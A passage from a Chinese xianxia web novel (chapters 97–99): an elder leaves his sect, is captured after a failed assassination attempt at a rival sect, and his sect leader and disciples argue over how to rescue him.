云杳窈佯装愤怒:“岑公子自重,我不是轻佻无礼之人,不过区区一命之恩,何必放在心上?若是公子觉得我是挟恩图报的贪财好色之辈,我离开就是,无意扰了你的清净。” 原本只是浅浅勾住她腰带的那只手突然松懈,接着整个手掌贴合到她后腰处,不容她擅自逃离退缩。 “晚了。”岑无望倒没有生气,可是比之先前的遂心应手,确实也急切了些许。 “岑无望,你玩不起啊?”云杳窈有恃无恐,得意洋洋,不见方才的羞赧,主动环紧他的腰,与他紧贴在一起。 岑无望低头,坦然道:“对啊,难道只准你耍无赖?” 云杳窈没有回答,岑无望盯着她看了好一会儿,觉得哪哪都满意。 这是自他有生以来就长存不灭的信仰,即便大厦倾负,他也凭着一息念想走过无数坎坷。 现如今,神明入他怀抱。 除却满足之外,岑无望还生出旖旎念头。 人间把这种行为称之为什么来着? 好像是渎神。 岑无望连在心底喊了三声罪过,而后眨眨眼,决定问问她的意见:“我可以爱你吗?” 云杳窈毫不犹豫:“当然可以。” 暗香浮动,岑无望盯着她的唇,语气诚恳。 “我可以尝一下你的胭脂吗?” 云杳窈问他:“你想怎么尝?” 岑无望则用行动回答她的问题。 良久,他喘着气问出第三个问题:“那我可以……” “等一下,”云杳窈捂住他的嘴,从泥泞的思绪中唤回神智,“你身体太过虚弱,不可纵欲,不可思淫。” 岑无望眨眨眼,只待她放下手后,低声问:“那我可不可以。” 明显是一句话都没听进去。 云杳窈思量片刻,看见他眼底越来越深重的幽怨,其实她也愿意和他亲近,只是总要顾虑他越发虚弱的身体。 不知是久病缠身,还是相思苦重,他腰身似乎又瘦了些。 “好吧,”云杳窈想了个借口,“我来看看你识海内是否有需要修补的地方。” 雪下了整夜,铺满整座山。 逢朽生椿的门户被风吹动,吱呀半夜,忘记去关。烛影轻曳,纱帐重帘摇动,最易晃人眼。 新雪初霁,晨光熹微。 练武场上,弟子们早已列队等候,窃窃私语。 “哎呀,真不想练剑。今天是大年初一,别的峰都准许弟子们在今日自行修习,花长老还要求咱们晨起练剑两个时辰,未免太严苛了吧。”一位弟子小声嘟囔道。 “嘘,小声点。”站在他身旁的弟子用手肘顶了他一下,“不然被花长老听见,给你多加一个时辰。” 不过等了许久,都不见花在溪前来练武场领弟子晨练。 花在溪长老素来严苛,从不误时,今日却迟迟未至。花有期心中莫名涌起一丝不安,他向师妹使了个眼色,让众弟子自行在此演练,而后找了个借口悄悄溜出队列,朝着花在溪的居所跑去。 庭院寂静无声,只有风吹过树枝时,枝头不堪重负,落下昨夜积雪的簌簌声。 花有期唤了几声师父,无人应答。他深吸一口气,猛地推开虚掩的房门。 屋内陈设依旧,却 空无一人,唯有一缕极淡的、属于师父的丹药气息残留。 书案上,端端正正地放着一封信笺。信封微微发黄,上书“掌门云杳窈亲启”几个遒劲的字迹。 花有期犹豫了一会儿,还是决定偷偷打开看看。 可刚触碰到信的封口,一道灼热的的灵力迅速缠上他的指尖,他惊叫一声,下意识松开了手。 上面的灵纹密密麻麻,不容外人窥探。 花有期的心猛地沉了下去。 他抓起信,指尖触到那残存着余温的灵力封印,一股巨大的恐慌攫住了他。 来不及细想,花有期没有死心,接着又一一打开了书房、剑库和炼丹房。甚至连藏书阁都跑了一趟,皆寻觅不到花在溪影踪。 师父难道就这么走了,这样不告而别,是有急事下山,还是自此不再回来了? 在花有期的印象里,师父从未下过山。 他心道不妙,抄了最近的小道,几乎是狂奔着冲向通往镜湖的山径。他知道掌门今日要回到镜湖闭关修炼。 往日这条路上被巡逻弟子看守,难以闯入。好在因着过年的缘故,松懈了不少。所以他昨日才能带着两个同门悄悄溜到这里的树林里。 今天没了花在溪拦着,他更加肆无忌惮,直接在大路上立着,任凭寒风吹彻满怀,他也一动不敢动,连眼睛都不敢多眨一下,生怕掌门御剑而过时,错过拦截她的激活。 好在功夫不负有心人,待日上三杆,花有期终于看见了掌门从浮岛往镜湖慢行的闲适背影。 “掌门,掌门!弟子求掌门留步!”花有期气喘吁吁地冲到云杳窈面前,双手捧着那封灵力封存的信,急切地递上,“师父……师父不见了!桌上只留下这个,上头有封印,需要您亲启!” 云杳窈停下脚步,温和平静的目光落在花有期和他手中的信上。她眼底掠过一丝极淡的诧异,在看到信上流转的熟悉灵力后,才心下了然,有了大致猜想。 花在溪已在嵘烬山做长老十年有余,按照当初的约定,他可以随时下山。 云杳窈没有多问,伸出纤长的手指,指尖萦绕着一缕更为精纯浩瀚的灵力,轻轻点在那淡金色的封印上。封印如水波般荡漾开,无声无息,只留下淡淡水雾,缓缓飘散。 她将信展开,金色灵文在空中浮现,不过云杳窈还是盯着信上由人亲笔所书的寥寥几行字,不曾移开目光。上头的字迹力透纸背,带着一种决绝无情的冰冷。 掌门钧鉴: 十年期限已过,你我恩怨就此了结,我欲归返乾阳宗,了断前尘。自即日起,与嵘烬山上下再无瓜葛。缘分已尽,勿念,勿寻。 虽无落款,但凭借年少时一起抄写门规的经历,她还是一眼就看出这是花在溪亲笔所书。 云杳窈静静地看着,脸上无悲无喜。 许久,她抬眼,将信纸缓缓折好,收入袖中,山风拂过她的衣袂飘带,带起一片清寒。 “掌门!师父他……”花有期急得几乎要哭出来,“他回乾阳宗做什么,什么叫再无瓜葛,他不要我们了吗?” 看见面前的弟子满眼焦急,她伸手摸了摸他的发顶,解释道:“无需担心,这是你师父的选择。当年他与我约定,替我管理宗门内务十年,如今掐指一算,也到了离别的时刻。” 云杳窈的目光投向乾阳宗所在的遥远方向,没有回答花有期的疑问,淡声道:“回去练剑吧,我会让其余长老接替他的职务,你们的修行功课不会落下。” 花有期抹了抹眼泪:“掌门,你不挽留一下师父吗?他说不定还没走远。” 云杳窈摇摇头:“我尊重他的选择,他既然选择悄悄离去,就是不想被门中的任何人窥探到去向踪迹。” 看着花有期稚嫩又倔强的脸,云杳窈不免心软,长叹一口气:“如果有一日,他愿意回来,嵘烬山永远是他可以栖身避祸的地方,这里会是他的家。” 说罢,云杳窈不容花有期再多说:“回去吧,如果你师父看见你偷跑出来,恐怕也不会高兴的。即便你们短暂分别,说不定将来还会有再见的机会,若你懈怠修行,他肯定第一个骂你。” 待花有期走后,云杳窈没有按照习惯去镜湖修行,而是御剑朝山门飞去。 虽然面对门中弟子,云杳窈做出一副去留凭君意的大度模样,但念及多年同门情谊,花在溪却连个招呼都不打一声,于情于理,她都该找他当面问个清楚。 刚到山门,云杳窈二话没说,揪出在阵法中的玄隐。 “他怎么下山的?如实交代。” 山门大阵有玄隐这条大蛇坐镇,花在溪不可能真正做到悄无声息溜出去。 从前在乾阳宗,他便是惯犯,先是以替师尊定渊办事的借口试探口风,再趁机找机会贿赂灵兽。等和灵兽混熟后,甚至不需要仔细盘查,只要能够保证宵禁前回来,就能从小道自由出入。 多年过去,还是这一招。 花在溪每月必会前来此处与玄隐过招,两人算是不打不相识。甚至在了解了蛇妖习性后,花在溪还会在玄隐蛇毒反噬期间,割血制药,亲自炼丹为他缓解痛苦。 玄隐摸了摸鼻子,没想竟是连半日都没守住。 “他不是已经完成了约定吗?我这才放他离开的,虽说擅自离开不太妥当,可他既没有盗取财物,也没有不偷窃法器,大不了我以后不再管他了。他要是再回来,我肯定拦着不让他上山。” 云杳窈才不在意他随口说出的承诺,她根本无意阻拦花在溪去留,只是觉得他此举蹊跷。 明明坦诚相告,她也一定会点头同意。 除非悄然离开和留下书信,都只是为了掩人耳目的幌子。花在溪另有图谋,只是想借此转移视线。 云杳窈眯起眼,盯着看似云淡风轻,实则强装镇定的玄隐,再次问道:“你给了他什么东西。” 若是仅仅为了顺利下山,那割血制药未免过于费心费力。 花在溪这些年唯恐多在无用之处浪费时间与精力,是以一改年少时的热情爽朗,厌烦与人交际攀谈,吝啬于与人私交。 果然,玄隐最后没能躲过云杳窈的追问,眼见着自己的护心鳞都要被问心刮下来,他才认输:“好吧好吧,他向我讨了点蛇毒,说是山高路远,用作防身。” “你信了?”反正云杳窈不信。 “我当然信了。”其实是事到如今,不得说自己不信。 玄隐见云杳窈已然了解事情经过,又说:“他还跟我说,如果掌门真要刨根问底,即便不顾他的意愿,也请顾念您与廖枫汀与定渊长老的旧情,不要派人阻拦,更不要亲自去寻,一切由他承担。” 玄隐竖瞳忽现,整个人隐匿在树影下,蛇类的冰冷滑腻与雪景分外贴合。 “他还说,或许他会是扳倒晏珩的最佳人选。请您在山上,静候佳音。” 另一边,花有期失魂落魄地回到练武场。花长老不辞而行的消息如同春日融化的雪水,瞬间浇灭了所有弟子心中的热切。 原本还盼着花在溪某日转性,给他们放宽些要求的弟子,竟然也一声不吭,垂头丧气,看样子没多少庆幸意味。 “他不要我,我们也不要他。”突然,花有期拔出剑,狠狠朝空中斩去,像是在泄愤,又像是委屈无处申诉。 “总有一日,我会下山找到他,让他看看,他曾经能够轻易弃之不顾的弟子,究竟有多厉害!” 少年的雄心壮志被点燃,可修行的日子多数枯燥乏味。 渐渐的,按照花在溪教导,每日晨起,比其他各峰提前练剑的习惯渐渐灭了。 只有几个弟子还剑痴和花在溪的亲传弟子一起提前两个时辰练剑。 可是有关花在溪的消息并没有就此停止。就在门中众人逐渐不再提及这位花长老后,令人心胆俱裂的消息如同滴落进油锅里的沸水,激起一片炸裂飞溅。 消息是随着乾阳宗的传讯一同飞来的。传讯的并非信件,寻常法子根本无法进入嵘烬山。 云杳窈也早就和玄隐打过招呼,凡是乾阳宗派来的人或信,统统拦截在外,一律不准越过山门半寸。 乾阳宗也知晓两个宗门之间恩怨难清,可此事若不宣扬出去,门中上下都咽不下这口恶气,索性脸面也不要了,指派几名弟子在山下日夜喊话,非要把丑事宣扬得人尽皆知才好。 “原乾阳宗弟子,现嵘烬山长老花在溪,年少听信谗言,误入歧途,月前假意叛门归宗,于二月初二子时,潜入乾阳宗回雪峰,以灵火焚毁隐春宫偏殿,更意图刺杀正在闭关修行的晏珩长老!幸而长老及时出关,并无大碍。花在溪行刺失败,已被当场擒获!乾阳宗嵘烬山管教无方,纵容门下 行此大逆不道之举!现将罪人花在溪幽禁于万鬼窟,不日处死,以儆效尤。” 第97章 消息一石激起千层浪,瞬间传遍了嵘烬山,引得众人议论纷纷。 “不可能!这些人在瞎喊什么胡话,”花有期第一个跳起来,“让我去把这几个人赶出去。” “师父怎么可能是去刺杀,他不是……” 他想说花在溪是为了回乾阳宗才抛弃了他们,可后面的话却卡在喉咙里,其实他也不敢相信。 “回雪峰隐春宫,那可是剑君晏珩的清修之地,”有弟子喃喃道,“师父他为何要这么做?那可是剑君啊,那可是当世最强剑修!” 恐惧、担忧、不解、愤怒……种种情绪交织。 练武场上,一众来去峰弟子从群情激愤,到徒留满地沉默寂静。 惟有不歇的风仍旧在耳边回荡。 花有期想起那个每每拂晓之际立于练武场上的身影,想起他正当年富力强却两鬓苍苍,想起年夜饭时他面无表情嚼着辟谷丹的样子。 甚至想起他逆着烟花人群离去的孤寂背影。 那会是他们此生的最后一面吗? “师父这么做,一定有他的道理。不管师父与乾阳宗究竟有何恩怨,他都是我们的师父,是嵘烬山的长老,这些事实不会改变,就算他有错,也该让掌门亲自处罚,我们不能就这样任由外人处置师父!” 花有期仍在愣神,这一声高喊把他魂都喊回来了。 来去峰当前唯一一名女弟子,在花在溪的亲传弟子中行七,也是花有期的小师妹,名唤沐东流。 东流年纪小小,身量高高,舞得动软剑,甩得动重剑,平生三大优点:能吃能睡能打。 因此发育比同龄弟子都快,站在一众师兄弟中是鹤立鸡群般的醒目。 东流脸上还带着点稚嫩的婴儿肥,声音铿锵有力。 “什么剑君,说破天了也不过是个人修。他既然名声那么好,肯定要脸,那我去把那两个弟子捉了做人质,在他门前喊话,看他给不给换。” 她旁边两名弟子一左一右抓住她。 一个连声说:“算了算了算了,小人不计大人过,咱们是正经门派,又不是土匪,真捉了人,那两个喊话的弟子岂不是遭遇无妄之灾?” 另一个也说:“从长计议,从长计议,你即便不要这张小脸,那总得要师父那张老脸吧。真带着人家弟子去交换,那不是威胁,是挑衅啊!依我看,师父走得那般决绝,就是不想让咱们群情激愤之下做出傻事,如果你挑战不成反被擒,进了万鬼窟,师父还不得被你气死?” “懦夫!”东流赏他们俩一人一拳,“那你们就等着乾阳宗把师父挫骨扬灰吧。你们都精明怕死,我可不怕,不愿去也别拦着我。” “谁跟我去,就提上剑随我下山。” 东流一身红衣,站在皑皑雪间,就像是一簇燃不尽的火苗。 花有期脑子里很乱,他这会儿经风一吹,逐渐冷静了下来。 师父要救,但绝对不是以这种形式。一群年轻气盛的少男少女一拍即合,就要违抗门规去当世第一剑宗挑衅剑君,这不是送死是什么? 花在溪走后,花有期身为大师兄,就该成为来去峰的主心骨。 他去死可以,但是不能让这一群师弟师妹们也跟着送死。 东流见他沉默不语,额头上渗出一层细密冷汗,问:“大师兄,你怕了吗?” “不!”花有期断然否认,“师父要救,可我们真蜂拥而上,就算现在立刻把那两个弟子打杀了,只会给师父徒增骂名,说不准还会激怒乾阳宗。” “况且,”他话锋一转,看向已经被仇恨冲昏头脑的一干弟子,“咱们就这么冲过去,能过得了玄隐前辈那关吗?” 众人不语,只有东流还在问:“那怎么办?” 其实他们都已经有了答案,剑君一人可抵万千恶鬼,整个嵘烬山,能够与之抗衡的,恐怕只有掌门了。 他们二人虽然没有公开交手,可掌门已战尽除乾阳宗外的北境各宗门,其中不乏各种隐居百年的大能前辈。 嵘烬山不少弟子都在私下讨论过,论灵力剑道,究竟是谁更胜一筹。 花有期握紧拳,咬着牙说:“云掌门这些年来,未尝有过败绩,她一定能够救下师父,只要她愿意,乾阳宗必得给她面子。” “我去求她救师父。” 在场有出自襄华的弟子,他们对于这位云掌门,有着近乎信仰一般的崇敬。 自襄华王都起,无数人间庙宇奉云掌门若神明,襄华本就受嵘烬山庇护,当年佳话不仅是传说,更是史册有记载的事实。 所以他们丝毫没有犹豫,点头应是:“是,掌门那么厉害,我们一起去求她。” 群情激愤,没人注意到花有期已经扣紧腰间的剑,他大喝一声,将自己与众人划开距离。 “都不许过来!” 寒光映雪,让想要跟着他一起去的弟子们止步于此。 雪被剑尖挑起,扬到了东流的鞋面上,她蹙眉:“大师兄这是何意?” 花有期眼眶通红,声音颤抖:“如果我们整个来去峰的弟子都去求掌门,那就不是为师父求情,而是胁迫。师父刺杀乾阳宗长老一事已成定局,乾阳宗的怒火不无道理……” “管他有没有道理,”东流冷声打断,“我只要人回来就行。” “外人觉得是嵘烬山挑衅在前,可实际上,师父他已经主动请辞,早就主动挑明自己已非山中人,掌门帮他是情分,与他划清界限,保护嵘烬山不受天下人非议是本分。” “你们不能去。”花有期再次说,“只有我可以去,如果掌门盛怒之下,将我赶出山门,至少来去峰上不至于就此没落,宗门的年度大比就要开始了,难道你们想就此止步仙途,甘心做个凡人吗?” 他环视周围一圈,硬生生将此事做了个了结。 “晨练还没结束,都给我在这里练剑,哪里都不许去。” 说罢,他转身离去,不敢再看众位弟子脸上神情。 镜湖外银装素裹,日月给予此处一点光,就能折射出万千明亮。 花有期褪去一切嵘烬山弟子服制,仅着一层素白单衣,背着剑一步步走到镜湖结界外。 越靠近镜湖,便越寂静,四周像是被夺取了声音一般,青鸟不鸣,风过无声,雪落无音。山道上只有花有期踩过台阶碎冰积雪的轻微步声。 花有期感受到结界阻拦,就地跪在冰天雪地中,鼓起勇气大喊:“花在溪座下弟子花有期,求见掌门。” 无人应答。 “来去峰长老花在溪座下弟子花有期,求见掌门!” 无人出现。 “嵘烬山来去峰前长老花在溪,座下首徒花有期,在此求见掌门!” 依旧未曾见到有人现身。 寒冷侵袭花有期的理智,他不肯运用灵气御寒,不一会儿连牙齿都在震颤。 眼前被雪光蒙上迷雾,他感觉头晕目眩,还是提着一口气,想要接着喊。 突然,有一件衣服被人丢到他脑袋上,打断了他将出口的话。 “行了,这么冷的天,穿成这幅模样就跑来镜湖打扰掌门清修,她就是想见,也不敢见你啊。” 来人似乎很怕冷,裹得很厚,一张过分苍白的脸埋在毛茸茸的披风围领里,连手都不曾露出来。 花有期迷迷糊糊间抱着衣服,他抬头眯起眼,看见那人虚影在视线内来回晃。 这是个身份不明的男子,并非掌门。 于是他还是坚持着说:“弟子有要事,求见掌门。” 岑无望幽幽叹了口气,走下台阶,将身上的披风解下,囫囵盖在花有期身上。 “花在溪整天教你们些什么啊?我久居逢朽生春,怎么不记得你们来去峰的穿着 ,都这么……“他看了看尚且年轻纯澈的花有期,硬生生换了个词,“狂放不羁?” 他指尖一抬,花有期感受到自己被一股温和的气息包裹,他随着这股力量不由自主站了起来。 镜湖充沛的灵气让花有期身体逐渐回温,脑子也清醒了不少。他这才看清眼前人的相貌,眉目如画,如一抹早至的春风落在山间,清雅和煦,莫名有些熟悉。 如此清正如修竹化仙的偏偏君子相貌,偏生了一张不饶人的嘴,总会掐准时机刻薄人两句。 不过也无伤大雅,花有期已经想起此人为何看起来有些眼熟。此人周身的气息和灵力,与云掌门类似,应当就是掌门那位体弱多病的道侣岑氏。 花有期在脑子里思索了好一阵,也没想出一个合适的称呼,才挤出一句:“岑长老。” 不怪花有期,实在是岑无望鲜少在门中露面,他久居浮岛,非要事不出门,嵘烬山小辈几乎没几个见过他,能一眼辨识出他的,已经足够让岑无望惊讶了。 岑无望微微挑眉,本想矢口否认,可看见花有期唇齿发白,混身抖着,仍不肯退缩的执着模样,便歇了那点捉弄他的心思。 “掌门正与弥亘长老等人都在镜湖洞天内室。外头这般冷,我站一会儿脸都僵了,你要一起进去暖暖身子吗?” 花有期听着他的话,立即将岑无望先前调侃他的话给忘了,抬脚就要往里头冲。 动作被岑无望单手拦住,他敲了敲花有期的脑门,遗憾发现并没有听见任何空荡荡的回声,更没有来回晃荡的水声。 “弟子服表礼仪,须臾不可不严整。这条门规是我加的,花在溪是不是偷偷删去了?” 岑无望仍是笑眯眯,连手都懒得抬一下。 “穿好,嵘烬山不兴负荆请罪那一套。花在溪的一意孤行,没必要让毫不知情的徒弟去偿还。” 第98章 云杳窈与止戈及各峰主教已经坐了好一会儿,说到争执不下的地方,便默契停下来喝茶,待稍稍冷静些再继续。 中途感受到镜湖外的结界有所波动,云杳窈便让岑无望出去看一眼,将外头的人带进来。 未几,就在止戈刚一巴掌拍到桌面上,大喊“我不同意”的时候,岑无望领着一个少年进来。 云杳窈一眼就认了出来,这是先前拿着信来找她的那名弟子。 如果她没有记错,此人不仅是花在溪的亲传弟子,还是嵘烬山开放后的第一批弟子。 第一批弟子都是襄华子民,而他的父母皆死于邬盈侯之乱,得益于朝廷选拔,才选了这么多孤弱幼子进入嵘烬山修炼。 可能是合眼缘,花在溪亲自领了他上山,得知他的身世后,索性易姓赐名,彻底断了尘缘,破例未经选拔比试,将他带在自己身侧培养。 前几年嵘烬山还没那么热闹的时候,花有期还在止戈手底下磨练过一段时间。 止戈看见眼熟的小辈在此,默默将话遏住,端正坐好。 花有期行礼后,急切开口:“掌门,我有要事相求。” 云杳窈见他裹着岑无望的衣服,头上还有未化的雪,抬手从镜湖底部拉起一方软凳,挥手示意他过来坐。 “我知道你想说什么。”云杳窈平静道。 实际上,几位主事和止戈就是在为同一件事争论不休。 乾阳宗并且立即处置花在溪这个叛徒,而是将他先行囚禁,再大肆宣扬,分明就是要逼迫嵘烬山表态。 嵘烬山各峰主事意见不一。 有人觉得花在溪的死局已定,若是立即上门讨人,难免落得下风。不如静观其变,若花在溪尚有一丝存活可能,便私下去信与苦主晏珩交涉,将损失压到最低,让身为掌门的云杳窈亲自登门致歉,将花在溪全须全尾带回来即可。 还有人觉得花在溪不顾门规律例,先是单方面辞去嵘烬山长老职务,而后又莽撞行刺,已经为嵘烬山惹出诸多非议事端,若是再一味饶恕他的过错,将他救回来,必然后患无穷。 止戈则没有想那么多,她觉得晏珩此人死有余辜,道歉更是不可能,她想亲自去乾阳宗一趟,再刺杀一次,打晏珩个措手不及。 不过止戈刚否决了让掌门登门一事,还没来得及说想要代替掌门前往,便看见岑无望领着人进来了。 她刚想接着说,却怎么都发不出声音。定静一看,岑无望竖起一根手指,放在血色浅淡的唇边作噤声状。 想都不用想,必定是岑无望在使小动作。 从前在灵族同为臣子的时候,岑无望主掌祭祀,善音律,司掌万物之声。如今借着云杳窈的力量,竟然敢夺了她的喉舌。 止戈怒瞪岑无望一眼,对方早就移开视线,悄无声息在云杳窈背后坐下,若无其事把玩起云杳窈垂在背后的柔顺长发。 云杳窈对这两人的争斗不感兴趣,她直接给岑无望也下了禁言令,又操纵镜湖中的灵力,挡住了止戈即将踹到岑无望身上的一踢。 她不疾不徐的话语和镜湖灵力一起在此处流淌,镜湖之下暗流汹涌,整片大陆深埋于地下的灵力汇集在她们脚下,只在此处能窥见一二。 “花在溪是我嵘烬山的长老,也是与我一同经历了诸多风雨的同伴,人我一定要救,你们不必再多说。” 花有期听见了,生怕她反悔似的,立即从软凳上滑落跪下,猛磕了几个头。 “师父于我恩重如山,求掌门带弟子一同前往。” 止戈和岑无望也想说同样的话,可是两人方才只顾着给对方使绊子、找不痛快,如今两个哑巴只能面面相觑,硬生生在其他人眼中稳住了长老神秘莫测,稳重自持的形象。 云杳窈道:“此事本就是我们理亏,能将人平安无恙带回来就好。又不是去打架,用不着那么多人跟随。” 主事们倒是避之不及,纷纷赞同:“掌门此话有理。不过近来南边不太平,天灾四起,不少流民恶鬼渡江朝北,适逢多事之秋,还是小心为妙,不若让来去峰的弟子随行,守在乾阳宗结界外,若真谈不拢,外头也好有个接应。” 云杳窈自年关过后,便再没有闭关,她已经通过四散分布在各地的暗桩汇报知晓此事。 天灾降祸总逃不开瘟疫与死亡,马上就要开春,届时疫病只会更加严重。 云杳窈前些日子已经派遣青鸟去往襄华新都毓新,去信给姜娆,让她暂时停了南境线上的贸易往来,让襄华边境都紧关城门,严防死守,以防疫病向北境扩散。 南荒古人犹在,当年襄华王宫内不告而别,十年间竟然只有一次偶然相逢,不过点头示意,两人各有急事在身,擦肩而过。 就这么过了七年。 云杳窈这时候让青鸟冒死去蔚云城递消息,就是想问问这场疫病在南荒究竟扩散到了何种地步。 可能是路途遥远,也可能是闻佩鸣忙得焦头烂额无暇回信,青鸟至今未归。 见云杳窈沉默下去,几位主事互相交换眼神,问云杳窈:“掌门,可有何不妥?” 云杳窈闻声,将思绪拉回,她浅笑回应,湖面下的时与音才再次流动。 “诸位思虑周全,不过来去峰上多剑修,这个年纪的剑修,心气精力都旺盛,未必肯在结界外安生待命。这回就让天元峰的医修们随我下山长长见识吧。” 天元峰主事瞳孔一缩,抬眼看见云杳窈似笑非笑的神情,跟着周围主事低头应是。 “掌门英明。” “那……我们就在门中等待掌门归来。”主事们告辞,临走还不忘把花有期也一并带了出去。 镜湖之上,余下云杳窈、岑无望、止戈、花有期。 这些年来,为了集百家之长,容纳不同修炼功法,嵘烬山与几大家族订立盟约,新弟子中有不少都是世家与宗门的后辈。 除弟子外,还有奉命入嵘烬山行监管之责的主事。 他们并非长老, 无法像花在溪与止戈一般完全掌控一峰弟子,更无法随意使用门内资源,时间久了,即便有几峰的长老不断变更,可主事的权力亦不断缩减,从一开始联合起来,能够利用门规漏洞与云杳窈争辩抗衡,甚至干涉长老亲传弟子的选拔,到现在为了散在各峰的家中子弟互相掣肘。 最先瓦解的就是来去峰主事,剑修本就是嵘烬山根基,有花在溪常年坐镇,主事从一开始就难以插手,其他峰主事也很难介入,只好装聋作哑,任凭来去峰发展。 而最难从主事手中收归权力的,就是医修聚集的天元峰。 医修与其他修道者不同,天赋有时候并不是很重要。在嵘烬山以山中上古灵草为交换,与三阳谈条件之前,医修几乎只靠血脉与师徒传承,难以自修。 悟性再高的医道天才,若是连修炼的门槛都摸不到,只会泯然于凡尘。 凭借着这种方法,三阳门所代表三个姓氏,让天下医修尽出自门下。 可是经历了上古灵族的集体陨落,此世留于地上的灵气十不存一,仙草灵植更是大量灭绝,医修很难再有精进。 所以,在嵘烬山开放山门后,三阳门才愿意派弟子进入嵘烬山学艺。 天元峰也在主事的监管下,继承了先辈遗风,成了嵘烬山上唯一一个没有长老任职,完全被主事掌控的地方。 山中独一例,几乎成了国中之国。 凡人子弟,即便进了天元峰,也难以融入。 云杳窈想了很多办法,都难以插手,这些年轻的三姓弟子骨头竟然比那些老家伙的骨头更硬,光是排挤欺压同门的丑闻,每年都会上演,且是愈演愈烈,即便是云杳窈多次明里暗里警告提点,都难以遏止这种现象。 这场瘟疫,或许是历练弟子们的好时机。 他们平日里连出天元峰都不肯,明明是一群朝气蓬勃的少年,却看着暮气沉沉。 “都这样了,还固步自封,不肯更改旧时规矩。”止戈发现自己能说话,立即吐槽。 云杳窈扯着唇角,露出一抹笑。 “是啊,可是这一套实在太好用,三姓鼎立,虽千年不变,可门中却能太平稳固,若是冒险变革,容易引起争端不满,倒不如一直不变。” 岑无望听出她言语间的嘲讽,随即接话:“看来是医者不自医,那些个弟子年纪轻轻,灵魂却垂垂老矣。而且我在门中曾探听到一句话:宁为三阳犬马,不换凡权二钱。三阳门比人间王权还稳固,也难怪门中小辈倨傲不恭,不友善士。” “就连挤破脑袋得到认可的人也不敢改变,甚至更加拥护陈规。” 不过岑无望调侃归调侃,断不会任凭嵘烬山有这么一处异类。 他微微收敛笑容,侧首看向云杳窈,正色道:“君上打算怎么做?” 云杳窈道:“该结束了。” 镜湖内的一尾小鱼蹦出水面,通身散发着荧蓝微芒,它落在地上,便化作小人模样,跌跌撞撞往着前方奔跑。 镜湖是天地倒影,尘世灵气的源头与归处。 每一抹能够化形的灵气,都是跨越了时空的纪念与预言。 云杳窈目不转睛盯着这个小人,它最终归于镜湖中,投身于如夏夜星河般的镜湖倒影中。 “没有什么东西是永恒不变的,既然三阳门想把那套规矩贯彻到底,想要在嵘烬山再重建一个独立的门派,那么就要做好被彻底反噬替代的打算。” 第99章 花有期刚刚走出镜湖结界,便看见山道拐角处立着师妹东流,她不知在此等了多久,周身不断运转的灵力将脚下厚重冰雪融化,但融化的冰雪又成水,浸湿了她的衣摆。 东流看见花有期的一瞬间,双眸一亮,喊道:“大师兄!” 花有期见她傻站在这里,又心疼又好笑,忍不住说话急了些:“谁叫你跟过来的,我不是让你们在来去峰等我回来吗?” 东流听见他疾声厉色,不甘示弱,抬着嗓子说:“我乐意!” 她下巴微微抬起,双目直视花有期,似乎不懂得避让二字怎么写,站在如此狭窄的小道上,花有期被她目光和前倾凑近的身体逼得后撤半步。 “只准你逞英雄耍威风,不许我担心你,是吗?我有做错什么吗,我只是路过,你如果说我是一厢情愿,热脸贴冷屁股,你压根不需要我,我立刻离开,才不让你在这里吼我,让别人以为我沐东流是什么好拿捏的软柿子。” 说完,她扬起头,作势转身离开。 花有期也是个心高气傲的少年人,可是师妹东流才不管他那点别扭的自负,就像是能精准掐住他死穴一样,招招见效。 他只好赶紧跟在东流身后,也不解释,反正东流往左他不会往右。 东流在山道岔路上故意绕了半步,他也梗着脖子跟着,也不说话,两人傲的如同无法驯服的野鹰,彼此都在等对方低头。 可是真的寸步不让,是不会做出亦步亦趋姿态的。 眼见着东流越走越快,连回头看他一眼都不肯,花有期只好硬着头皮说:“师妹。” 然而花有期并不知道怎么道歉,他觉得自己压根没错。难不成让东流跟着他,两人齐刷刷去求掌门,和他自己去求有何不一样?左右都是求人,何必多一个人辛苦。 所以花有期憋了半天,只说出一句:“此事过错,你我各占一半,不如各退一步,别生我气了。” 沐东流的背影猛然一顿,她回头看了看唇色发青的花有期,毫无征兆挥拳打向他面门。 剑修之间小打小闹很正常,来去峰上的年轻弟子也会突然向同伴使出招式,原地过招拆招。 其他人都觉得这种行为离疯了不远,哪有人天天偷袭自己同门的,可是他们打来打去,感情还是一样好,若是谁偷袭不成,还会被人调侃。 这一拳带着凛冽寒风,按理说花有期能凭借自身的敏捷反应躲过去。 可是这一刻,他的脚步被什么的东西钉在原地似的,怎么都拔不动腿。原本该看拳风和灵力走势的双眼,忍不住将目光移向后面。 花有期看向东流,毫无畏惧。 东流的拳风砸在他脸上,可是拳头并没有落下。 她问:“为什么不躲呢?” 可能是出于一种对同门的新任,也可能是因为愧疚,或者是干脆是因为腿被雪冻僵了。 好像有一万个理由,可一万个理由都无法形容出口。 花有期也不知道究竟以哪个借口作挡,才能消除师妹的怒火,所以无法回答。 他感觉很烦躁,却什么重话都不想说,就这么死猪不怕开水烫一样,站在原地,不言不语。 “笨蛋,坏蛋,混蛋。”东流低声骂他。 三颗蛋的罪名压下来,让花有期哭笑不得。 他还没为自己辩解,突然感受到额头一痛,原来是东流给他弹了个脑瓜崩,直震得他眉心疼。 “东流!” 东流听见他的低吼,鼻间轻哼一声,快步离开。 两人前后脚跑回来去峰,发现练武场上的弟子比原先还多。 除却花在溪的亲传弟子,还有各峰上曾受过花在溪教导的弟子。 其中竟然还有弥亘长老的得意弟子徐子先。 “回来了。”徐子先熟稔打了个招呼,他和花有期臭味相投,两人虽然师承不同剑道,可性格相近,经常凑在一起。 止戈向来不怎么管教这个徒弟,是以徐子先几乎是来去峰的第二个大师兄。 他为人和善,最是好想与。这会儿被弟子们围着,还不忘招呼人给东流找柄趁手的剑拿上。 东流还没有本命剑,不明所以:“这是做什么?” 徐子先神色如常:“上乾阳宗救花长老啊,咱们这么多人呢,别怕,我给你们兜底。” 其实在场的都知道,最后兜底的还是弥亘长老。 花有期面有菜色, 一时不知该谢好友仗义相助,还是该痛斥他行事不管不顾。 怪不得弥亘长老都收小徒弟了。 花有期看着跃跃欲试的师弟们,发现每一个还没有获得本命剑的弟子都带着剑,且不是平日修习用的凡品。 他看着递到东流手里的剑,觉得有些眼熟。 徐子先还抽出剑给东流比划了几下,剑上红光无血自亮,杀气在不经意间显现。 “利剑配美人,师妹,这可是我特意给你挑的,和你正相配。” 花有期颤着唇问徐子先。 “这些剑哪来的?” 徐子先摆摆手:“不重要,我徐子先侠肝义胆,劫富济贫,区区几十柄宝剑,都不是事儿,大家随意使用,记得用完还回来就行。” 